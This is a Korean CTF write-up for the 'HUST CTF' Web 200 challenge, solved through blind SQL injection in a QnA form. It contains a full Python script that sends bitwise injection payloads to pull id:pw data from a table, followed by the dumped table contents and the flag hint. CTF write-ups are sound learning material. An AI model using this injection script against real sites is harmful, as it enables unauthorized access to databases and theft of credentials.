[HUST CTF] Web 200

Web 200

다른 문제 다 접고 (어차피 상상도 못한 어마어마한 방법이였으니..) 이것만 잡았습니다.
다 제끼고 흐름만 이야기 하겠습니다.

페이지를 들어가면 위와 같은 로그인 창이 뜹니다.

Join을 누르면 위와 같은 가입 창이 나옵니다.

로그인을 하면 위 메뉴중 QnA가 있는데,
QnA가 INSERT문이 아닌 SELECT 문을 쓰는건 처음이였습니다;;
여튼 이를 이용해 BlindSQLi를 진행합니다.

import requests
import urllib
import time
#main url: http://223.194.105.182:43080/pmain.php
cookies={'PHPSESSID':'igak84e5ejdkua67qegu2d45h5'}
url = "http://223.194.105.182:43080/question_query.php"
tables=''
silnex=''
def bits2a(b):
    return ''.join(chr(int(''.join(x), 2)) for x in zip(*[iter(b)]*8))

for lim in range(0,5):
    print tables
    tables+='| '+str(lim)+'. '
    for chr_l in range(1,1000):
        binary=''            
        for bin_l in range(1,8):
            param=" ' or mid(lpad(bin(ord(mid((select DISTINCT concat(id,':',pw) from inforseat where id='tsuh' limit "+str(lim)+",1 ),"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1) = 1# "
            time.sleep(0.5)
            data = {'content':param}
            s = requests.post(url, cookies=cookies, data=data)
            print param
            #print s.text
            if not '<!--==============================header=================================-->' in s.text:
                bin_l-=1
                continue

            if 'Sangyoon' in s.text:
                binary+='1'
            else:
                binary+='0'
                
        if binary == '0000000':
            print "break!"
            break
        else:
            silnex+='0'+binary
            tables+=bits2a(silnex)
            silnex=''
print tables+ ' |'

중간에 “===header===” 이 부분이 들어간건 서버가 너무 잘 죽더군요;;
그래서 살아있는지 확인하기 위해 넣은 겁니다.

그래서 꺼낸 DB내용

db : khkekb

table_name 
column_name
| data

HUST
0.look| 1.it| 2.i5| 3.hint|
| 0.donot:open:seat:table

boom 
0. go| 1. t0| 2. another| 3. t4ble|
| 0. there:isnot:answer:here

chicken 
0. chicken| 1.i5| 2.very| 3.delicious|
| 0. go:to:board:table

board 
0. find| 1. data| 2. v4lues| 3. please|
| 0. go:to:chiffon:tab1e

chiffon 
0. m4tch| 1.w0rds|
| 0. 3ny4v:tsuh
inforseat 
0. id| 1.pw| 2.name| 3.tel| 4.email|
| 0. user account

aseat 
0. name| 1. tel| 2. home| 3. seat| 4. id|

sseat
0. name| 1.tel| 2.home| 3.seat|
| 1.010XXXXXXXX:SKT:S
| 2.010XXXXXXXX:KT:S
| 3.010XXXXXXXX:SAMSUNG:S
| 4.010XXXXXXXX:MVP:S
| 5.010XXXXXXXX:Afreeca:S
| 6.010XXXXXXXX:ROX:S
| 7.010XXXXXXXX:Longzhu:S
| 8.010XXXXXXXX:bbq:S
| 9.010XXXXXXXX:Jin Air:S
| 10.010:test3:S
| 11.test12:test12:S
| 12.dldmlwhd:dldmlwhd:S
| 13.zaxscd:SKY:R
| 14.hacuna:hacuna:R
| 15.hacuna:hacuna:S

에.. 여기 까진 금방 왔는데.. 이다음이 문제더군요..

여기서 상당히 힘들었는데

저기다 DB에서 나온 내용중 chiffon의 값인 3ny4vtsuh를 넣어 보내주면


플레그가 나오면서 풀립니다.

나름 흰트였는지 모르겠지만 위 파라미터의 임의 값을 넣으면 

이렇게 나오는데 이걸 흰트라고 생각 할 수 있을까 살짝 의구심이 드네요…
뭐,, 입력값을 넣을수 있는 부분이 굉장히 한정적이라고는 해도  상당한 게싱능력이 요구되는 문제 아닌가 조심스래 평해 봅니다.

글의 문제가 있다면 댓글을 달아 주세요.

This site uses Akismet to reduce spam. Learn how your comment data is processed.